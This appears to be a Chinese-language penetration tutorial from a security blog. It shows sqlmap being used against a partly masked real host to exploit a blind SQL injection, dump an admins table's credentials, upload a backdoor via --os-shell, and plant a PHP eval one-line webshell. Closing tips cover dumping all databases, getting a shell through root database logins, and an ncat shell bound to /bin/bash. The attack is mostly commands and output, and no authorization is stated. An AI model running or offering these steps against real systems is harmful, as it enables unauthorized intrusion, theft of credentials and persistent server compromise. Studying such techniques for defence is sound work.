本文作者:simeon
本文属于安全脉搏原创金币奖励计划文章,
转载请参考:https://www.secpulse.com/archives/61458.html
sqlmap功能强大,在某些情况下,通过SQL注入可以直接获取webshell权限,甚至可以获取Windows或者Linux服务器权限。下面以一个实际案例来介绍如何获取服务器权限。
1、检测SQL注入点
SQL注入点可以通过扫描软件扫描,手工测试以及读取代码来判断,一旦发现存在SQL注入,可以直接进行检测,如图1所示,执行:
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263
可以获取信息:
web server operating system: Windows web application technology: PHP 5.4.34, Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12
通过提示信息可以知道该SQL注入点是基于时间的盲注。
图1检测当前SQL注入点是否可用
2、获取当前数据库信息
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 --current-db
获取当前数据库为“Sshgdsys”,如图2所示。
图2获取当前数据库
3、获取当前数据库表
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys --tables
基于时间注入:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '—time-sec')? [Y/n] y
图3获取数据库中的表
4、获取admins表列和数据
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys -T admins --columns sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys -T admins -C id,adminpass ,adminname —dump
5、获取webshell
(1)获取网站信息
能够获取webshell的前提是能够确定网站的真实路径以及目录权限可以写入。通常使用—os-shell参数来获取。执行命令:
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 --os-shell which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default)
选择web应用程序类型,选择4,开始获取网站的根目录,存在漏洞所在程序的路径,效果如图4所示。
[10:18:46] [INFO] retrieved the web server document root: 'E:\xampp\htdocs' [10:18:46] [INFO] retrieved web server absolute paths: 'E:/xampp/htdocs/sshgdsys/fb/modify.php' [10:18:46] [INFO] trying to upload the file stager on 'E:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method [10:18:48] [INFO] heuristics detected web page charset 'utf-8' [10:18:48] [INFO] the file stager has been successfully uploaded on 'E:/xampp/htdocs/' - http://***.**.**.**:8081/tmpuqioc.php [10:18:48] [INFO] heuristics detected web page charset 'ascii' [10:18:48] [INFO] the backdoor has been successfully uploaded on 'E:/xampp/htdocs/' - http://***.**.**.**:8081/tmpbboab.php [10:18:48] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
图4获取网站真实路径和当前目录
(2)获取webshell
在sqlmap命令提示窗口直接输入:
echo "<?php @eval($_POST['chopper']);?>" >1.php 在当前路径下生成1.php。
获取webshell: http://***.**.**.**:8081/1.php 一句话密码为:chopper
执行命令whomai即可获取系统权限,如图5所示。
图5获取系统权限
6、总结及技巧
(1)自动提交参数和智能进行注入:sqlmap.py -u url --batch --smart
(2)获取所有信息:sqlmap.py -u url --batch –smart -a
(3)导出数据库:sqlmap.py -u url -–dump-all
(4)直接连接数据库:python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs –users,例如root账号直接获取shell:
python sqlmap.py -d "mysql://root:[email protected]:3306/mysql" –os-shell
(5)获取webshell: sqlmap.py -u url –os-shell
(6)linux下实现反弹:
ncat -l -p 2333 -e /bin/bash
ncat targetip 2333